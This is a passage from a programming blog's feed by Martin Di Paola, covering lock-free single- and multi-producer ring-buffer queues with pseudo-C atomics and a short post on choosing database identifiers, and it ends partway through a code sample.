&lt;h2 id="future-research-on-the-busy-waits"&gt;Future research on the busy waits&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;push&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, and analogously the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pop&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, has two busy waits: the CAS loop for update the head and the wait-for-others for updating the tail in order.&lt;/p&gt;
&lt;p&gt;Both loops have an impact on the parallelism depending of different factors.&lt;/p&gt;
&lt;p&gt;It is expected to have more contention in the CAS loop as the number of producers increase, especially when the data written is small.&lt;/p&gt;
&lt;p&gt;On the other hand, it is expected to have more time wasted on the wait-for-others loop when the data is larger as this should dominate the time needed to complete one &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;push&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and therefore preventing to complete the next ones.&lt;/p&gt;
&lt;p&gt;In a future post I will explore this.&lt;/p&gt;
&lt;p&gt;More readings:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://patches.dpdk.org/patch/40489/"&gt;preemptive nature of ring algorithm (DPDK)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://cbloomrants.blogspot.com/2012/06/06-12-12-another-threading-post-index.html"&gt;cbloomrants’ posts about threading&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.gotw.ca/publications/"&gt;H Sutter’s Effective Concurrency seriers&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://preshing.com/"&gt;Jeff Preshing’s posts&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="other-implementations"&gt;Other implementations&lt;/h2&gt;
&lt;p&gt;I didn’t have the chance to explore this, but the &lt;a href="https://software.intel.com/en-us/forums/intel-moderncode-for-parallel-architectures/topic/295836"&gt;Thomasson’s MPMC queue&lt;/a&gt; followed another approach based in a linked list.&lt;/p&gt;
&lt;p&gt;The documentation says that it has lock free &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pop&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and wait free &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;push&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The only downside is that requires a double-word CAS instruction.&lt;/p&gt;
&lt;h2 id="open-questions"&gt;Open questions&lt;/h2&gt;
&lt;p&gt;The DPDK’s &lt;a href="http://git.dpdk.org/dpdk/tree/lib/librte_ring/rte_ring_c11_mem.h"&gt;ring buffer&lt;/a&gt; adds a &lt;em&gt;fence&lt;/em&gt; between the read of the &lt;em&gt;old&lt;/em&gt; producer’s head and the read of the consumer’s tail and I cite:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“Ensure the head is read before tail”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;queue_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;old_prod_head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__atomic_load_n&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;prod_head&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__ATOMIC_RELAXED&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;do&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="cm"&gt;/* Ensure the head is read before tail */&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;__atomic_thread_fence&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;__ATOMIC_ACQUIRE&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;cons_tail&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__atomic_load_n&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;cons_tail&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__ATOMIC_ACQUIRE&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;free_entries&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;capacity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cons_tail&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;old_prod_head&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="cm"&gt;/* rest of the CAS loop */&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;success&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The &lt;em&gt;thread fence&lt;/em&gt; synchronize with the atomic ensuring that the head stored by one producer is visible by the load of another.&lt;/p&gt;
&lt;p&gt;Is it possible for a producer to load a head &lt;em&gt;too&lt;/em&gt; old? By the moment of the load another producer had already stored a new value but it is still not visible by the former.&lt;/p&gt;
&lt;p&gt;If that is possible the former producer will compute an incorrect &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;free_entries&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;What about the CAS instruction? If the producer didn’t see the updated value by the time it does the CAS instruction, it will be setting the &lt;em&gt;wrong&lt;/em&gt; head value just as if the CAS loop wasn’t there.&lt;/p&gt;
&lt;p&gt;Am I missing something? – Probably.&lt;/p&gt;
&lt;h2 id="references"&gt;References&lt;/h2&gt;
&lt;p&gt;Kip Macy implemented a &lt;a href="https://svnweb.freebsd.org/base/release/8.0.0/sys/sys/buf_ring.h?revision=199625&amp;amp;amp"&gt;buffer ring&lt;/a&gt; for FreeBSD. It was the base foundation for DPDK’s &lt;a href="http://git.dpdk.org/dpdk/tree/lib/librte_ring/rte_ring_c11_mem.h"&gt;rte_ring&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Also &lt;a href="https://gcc.gnu.org/onlinedocs/gcc/_005f_005fatomic-Builtins.html"&gt;GCC Atomics, gcc.gnu.org&lt;/a&gt; and my previous post &lt;a href="/articles/2020/03/22/Lock-Free-Queue-Part-I.html"&gt;lock-free single-producer single-consumer queue&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Also:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=A8eCGOqgvH4"&gt;C++ and Beyond 2012: Herb Sutter - Atomic Weapons - Part 1&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=KeLBd2EJLOU"&gt;C++ and Beyond 2012: Herb Sutter - Atomic Weapons - Part 2&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;References at March 2020.&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2020/04/28/Lock-Free-Queue-Part-II.html" rel="alternate" type="text/html" title="Lock Free Queue - Part II"/>
    <category term="performance" label="performance"/>
    <category term="lock free" label="lock free"/>
    <category term="data structure" label="data structure"/>
    <category term="queue" label="queue"/>
    <published>2020-04-28T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2020/04/19/Sidenote-Identifiers.html</id>
    <title>Sidenote: Identifiers</title>
    <updated>2020-04-19T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;What would be a nice identifier for the people in, let’s say, a database?&lt;/p&gt;
&lt;!--more--&gt;
&lt;p&gt;We need identifiers to operate the tables, make joins, and all kind of crazy data processing.&lt;/p&gt;
&lt;p&gt;What would be a good one?&lt;/p&gt;
&lt;p&gt;&lt;label for='PGltZyBzdHlsZT0ibWF4LXdpZHRoOiA3MCU7IiBjbGFzcz0nZnVsbHdpZHRoJyBhbHQ9Jycgc3JjPScvaW1nL21pc2MvaWRzL25hbWUucG5nJyAvPm1hcmdpbg==' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PGltZyBzdHlsZT0ibWF4LXdpZHRoOiA3MCU7IiBjbGFzcz0nZnVsbHdpZHRoJyBhbHQ9Jycgc3JjPScvaW1nL21pc2MvaWRzL25hbWUucG5nJyAvPm1hcmdpbg==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;img style="max-width: 70%;" class='fullwidth' alt='' src='/img/misc/ids/name.png' /&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Their names and addresses? Quite old fashion. Collisions are possible and can be very frequent. &lt;br /&gt; Building an id based on the attributes of the person is not good in any case: it is a matter of time that the person change in some way (like change her address) to make the id &lt;em&gt;schema&lt;/em&gt; inconsistent.&lt;/p&gt;
&lt;p&gt;&lt;label for='PGltZyBzdHlsZT0ibWF4LXdpZHRoOiA3MCU7IiBjbGFzcz0nZnVsbHdpZHRoJyBhbHQ9Jycgc3JjPScvaW1nL21pc2MvaWRzL3Nzbi5wbmcnIC8+bWFyZ2lu' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PGltZyBzdHlsZT0ibWF4LXdpZHRoOiA3MCU7IiBjbGFzcz0nZnVsbHdpZHRoJyBhbHQ9Jycgc3JjPScvaW1nL21pc2MvaWRzL3Nzbi5wbmcnIC8+bWFyZ2lu' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;img style="max-width: 70%;" class='fullwidth' alt='' src='/img/misc/ids/ssn.png' /&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Their government-level id, like the Social Security Number? Better but no, different countries have different identifier systems like &lt;a href="https://en.wikipedia.org/wiki/INSEE_code"&gt;INSEE&lt;/a&gt; in France. If you plan to use the software world-wide this will not work. &lt;br /&gt; And you are still depending on &lt;a href="https://www.ssa.gov/history/ssn/misused.html"&gt;humans&lt;/a&gt; to ensure uniqueness.&lt;/p&gt;
&lt;p&gt;Their email? Everyone has an email, right? Yea… well. It is more nation agnostic but &lt;a href="https://gist.github.com/adamloving/4401361"&gt;still…&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img style="max-width: 40%;" class='' alt='' src='/img/misc/ids/email.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Their DNA? That’s unique right?&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img style="max-width: 40%;" class='' alt='' src='/img/misc/ids/sheep.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Keep it simple. Use a plain number.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Just:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;do not allow a human to set the id, make the id unique by software.&lt;/li&gt;
&lt;li&gt;do not associate any meaning to it, it is just a number.&lt;/li&gt;
&lt;li&gt;be careful, assigning numbers incrementally will allow and attacker to guess what will be the next id. This may or may not be a problem.&lt;/li&gt;
&lt;li&gt;do not reuse any id, &lt;strong&gt;never&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;make sure that the space of possible numbers is large enough.&lt;/li&gt;
&lt;/ul&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2020/04/19/Sidenote-Identifiers.html" rel="alternate" type="text/html" title="Sidenote: Identifiers"/>
    <category term="identifier" label="identifier"/>
    <published>2020-04-19T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2020/03/22/Lock-Free-Queue-Part-I.html</id>
    <title>Lock-Free Queue - Part I</title>
    <updated>2020-03-22T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;While implementing a bounded queue or &lt;em&gt;ring buffer&lt;/em&gt; in a single-thread universe is relatively easy, doing the same when you have two threads, the implementation of a lock-free queue is &lt;em&gt;more challenging&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;In this first part will analyse and implement a lock-free single-producer single-consumer queue. A multi-producer multi-consumer queue is described in the &lt;a href="/articles/2020/04/28/Lock-Free-Queue-Part-II.html"&gt;second part&lt;/a&gt;.&lt;!--more--&gt;&lt;/p&gt;
&lt;p&gt;In a traditional queue we have two pointers: the &lt;em&gt;head&lt;/em&gt;, that points to the next free entry to write and the &lt;em&gt;tail&lt;/em&gt;, which points to the next entry ready to be read.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
When a producer pushes a new data to the queue, she moves forward the &lt;em&gt;head&lt;/em&gt; and writes the data; meanwhile the consumer reads the data and moves forward the &lt;em&gt;tail&lt;/em&gt;.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/threading/lock-free/queue/queue-data.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;label for='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy90aHJlYWRpbmcvbG9jay1mcmVlL3F1ZXVlL3F1ZXVlLWZ1bGwucG5nJyAvPgpGdWxsIHF1ZXVlLiBPbmUgZW50cnkgaXMgYWx3YXlzIGxlZnQgZW1wdHkgdG8gZGlmZmVyZW50aWF0ZSBhCmZ1bGwgcXVldWUgZnJvbSBhbiBlbXB0eSBxdWV1ZS4KCltPdGhlciBpbXBsZW1lbnRhdGlvbnNdKC9hcnRpY2xlcy8yMDE4LzA5LzE2L091cm9ib3Jvcy1DaXJjdWxhci1CdWZmZXIuaHRtbCkKZG8gbm90IHdhc3RlIHRoaXMgZW50cnkuCm1hcmdpbg==' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy90aHJlYWRpbmcvbG9jay1mcmVlL3F1ZXVlL3F1ZXVlLWZ1bGwucG5nJyAvPgpGdWxsIHF1ZXVlLiBPbmUgZW50cnkgaXMgYWx3YXlzIGxlZnQgZW1wdHkgdG8gZGlmZmVyZW50aWF0ZSBhCmZ1bGwgcXVldWUgZnJvbSBhbiBlbXB0eSBxdWV1ZS4KCltPdGhlciBpbXBsZW1lbnRhdGlvbnNdKC9hcnRpY2xlcy8yMDE4LzA5LzE2L091cm9ib3Jvcy1DaXJjdWxhci1CdWZmZXIuaHRtbCkKZG8gbm90IHdhc3RlIHRoaXMgZW50cnkuCm1hcmdpbg==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;img  class='fullwidth' alt='' src='/img/threading/lock-free/queue/queue-full.png' /&gt;
Full queue. One entry is always left empty to differentiate a full queue from an empty queue.
&lt;br /&gt;&lt;br /&gt;
&lt;a href="/articles/2018/09/16/Ouroboros-Circular-Buffer.html"&gt;Other implementations&lt;/a&gt; do not waste this entry.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The pointers serve as stop-markers: the producer will not write if the head points to an entry that is immediately before the entry pointed by the tail; the consumer will not read if the tail and the head are pointing to the same entry.&lt;/p&gt;
&lt;p&gt;&lt;label for='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy90aHJlYWRpbmcvbG9jay1mcmVlL3F1ZXVlL3F1ZXVlLWVtcHR5LnBuZycgLz4KRW1wdHkgcXVldWUuIFdoZW4gaGVhZCBhbmQgdGFpbCBwb2ludGVycyBhcmUgdGhlIHNhbWUgdGhlcmUKaXMgbm90IGFtYmlndWl0eS4KbWFyZ2lu' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy90aHJlYWRpbmcvbG9jay1mcmVlL3F1ZXVlL3F1ZXVlLWVtcHR5LnBuZycgLz4KRW1wdHkgcXVldWUuIFdoZW4gaGVhZCBhbmQgdGFpbCBwb2ludGVycyBhcmUgdGhlIHNhbWUgdGhlcmUKaXMgbm90IGFtYmlndWl0eS4KbWFyZ2lu' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;img  class='fullwidth' alt='' src='/img/threading/lock-free/queue/queue-empty.png' /&gt;
Empty queue. When head and tail pointers are the same there is not ambiguity.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;In the first case we say that the queue is full; in the second, the queue is empty.&lt;/p&gt;
&lt;p&gt;But if we want to make the queue thread safe without using locks we need to make the push and the pop atomic.&lt;/p&gt;
&lt;p&gt;And here is the problem: if a producer store the data &lt;em&gt;and later&lt;/em&gt; moves the head, another producer will see the &lt;em&gt;old&lt;/em&gt; head in between and store &lt;em&gt;her&lt;/em&gt; data in the same place overwriting the first one.&lt;/p&gt;
&lt;p&gt;&lt;label for='CllvdSBtYXkgdGhpbmsgdGhhdCB0aGlzIGNhbm5vdCBoYXBwZW4gYmVjYXVzZSB3ZSBoYXZlIG9ubHkgb25lIHByb2R1Y2VyLgoKQW5kIHlvdSBhcmUgY29ycmVjdCBleGNlcHQgZm9yIHRoZSBtZW1vcnkgcmVvcmRlcnMuCgpXZSBjYW5ub3QgbG9uZ2VyIGd1YXJhbnRlZSB0aGF0IHRoZSBoZWFkIHdhcyBtb3ZlZCAqYWZ0ZXIqIHdyaXRpbmcKdGhlIGRhdGEgZXZlbiBpZiB0aGUgY29kZSBzYXkgc28uIEtlZXAgcmVhZGluZy4gbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CllvdSBtYXkgdGhpbmsgdGhhdCB0aGlzIGNhbm5vdCBoYXBwZW4gYmVjYXVzZSB3ZSBoYXZlIG9ubHkgb25lIHByb2R1Y2VyLgoKQW5kIHlvdSBhcmUgY29ycmVjdCBleGNlcHQgZm9yIHRoZSBtZW1vcnkgcmVvcmRlcnMuCgpXZSBjYW5ub3QgbG9uZ2VyIGd1YXJhbnRlZSB0aGF0IHRoZSBoZWFkIHdhcyBtb3ZlZCAqYWZ0ZXIqIHdyaXRpbmcKdGhlIGRhdGEgZXZlbiBpZiB0aGUgY29kZSBzYXkgc28uIEtlZXAgcmVhZGluZy4gbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
You may think that this cannot happen because we have only one producer.
&lt;br /&gt;&lt;br /&gt;
And you are correct except for the memory reorders.
&lt;br /&gt;&lt;br /&gt;
We cannot longer guarantee that the head was moved &lt;em&gt;after&lt;/em&gt; writing the data even if the code say so. Keep reading.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Changing the order doesn’t fix the problem: a producer may move the head before writing, trying to &lt;em&gt;reserve&lt;/em&gt; the space but now a consumer may forward the tail before the data was actually written reading entries that are empty.&lt;/p&gt;
&lt;p&gt;The problem is that the write &lt;strong&gt;and&lt;/strong&gt; the move of the head is not a single atomic action.&lt;/p&gt;
&lt;p&gt;The same happen for reading.&lt;/p&gt;
&lt;p&gt;The key to resolve this is to have two heads and two tails.&lt;/p&gt;
&lt;h2 id="reserve-commit"&gt;Reserve-Commit&lt;/h2&gt;
&lt;p&gt;Both the producer and the consumer need their own head and tail.&lt;/p&gt;
&lt;p&gt;The producer moves her head to &lt;em&gt;reserve&lt;/em&gt; the space so other writers will begin to write starting from &lt;em&gt;that&lt;/em&gt; point.&lt;/p&gt;
&lt;p&gt;At the same time the consumer will not forward beyond the &lt;em&gt;producer’s tail&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Only when the producer finishes, she will move forward her &lt;em&gt;tail&lt;/em&gt;, &lt;em&gt;commiting&lt;/em&gt; the change and allowing the readers to proceed.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/threading/lock-free/queue/queue-sp-sc.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The consumer does something similar: moving the consumer’s head &lt;em&gt;reserves&lt;/em&gt; the entries to read so other readers will not pop the same data; and the consumer’s tail serves as a stop-marker for the writers.&lt;/p&gt;
&lt;p&gt;Now, the trick is in how to move those pointers atomically.&lt;/p&gt;
&lt;h2 id="single-consumer-single-producer-queue-buggy-version"&gt;Single-consumer single-producer queue (buggy version)&lt;/h2&gt;
&lt;p&gt;&lt;label for='ClBzZXVkby1DIGNvZGUsIGZvciBzaW1wbGlmaWNhdGlvbi4KVGhlIGZ1bGwgY29kZSBjYW4gYmUgZm91bmQgaW4gdGhlCltsb2tpIGxpYnJhcnldKGh0dHBzOi8vZ2l0aHViLmNvbS9lbGRpcGEvbG9raSkuCiBtYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='ClBzZXVkby1DIGNvZGUsIGZvciBzaW1wbGlmaWNhdGlvbi4KVGhlIGZ1bGwgY29kZSBjYW4gYmUgZm91bmQgaW4gdGhlCltsb2tpIGxpYnJhcnldKGh0dHBzOi8vZ2l0aHViLmNvbS9lbGRpcGEvbG9raSkuCiBtYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
Pseudo-C code, for simplification. The full code can be found in the &lt;a href="https://github.com/eldipa/loki"&gt;loki library&lt;/a&gt;.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Let’s draft the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;push&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; function:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;queue_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;old_prod_head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;prod_head&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cons_tail&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;cons_tail&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;free_entries&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;capacity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cons_tail&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;old_prod_head&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;free_entries&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;free_entries&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

